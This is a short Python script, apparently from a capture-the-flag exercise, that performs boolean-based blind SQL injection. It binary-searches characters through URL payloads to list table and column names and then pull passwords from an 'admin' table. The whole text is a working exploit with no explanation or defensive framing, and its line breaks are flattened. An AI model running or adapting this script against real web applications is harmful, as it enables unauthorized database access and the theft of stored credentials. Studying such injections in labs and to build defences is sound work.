name = "" i = 0 while True: head = 32 tail = 127 i += 1 while (head < tail): mid = head + tail >> 1 payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" % ( i, mid) payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" % ( i, mid) payload = "if(ascii(substr((select(group_concat(password))from(admin)),%d,1))>%d,3,2)" % (i, mid) //查询username和password
r = requests.get(url + payload) # print(url+payload) # print(r.json()) if "Yunen" in str(r.json()): head = mid + 1 else: tail = mid if head != 32: name += chr(head) print(name) else: break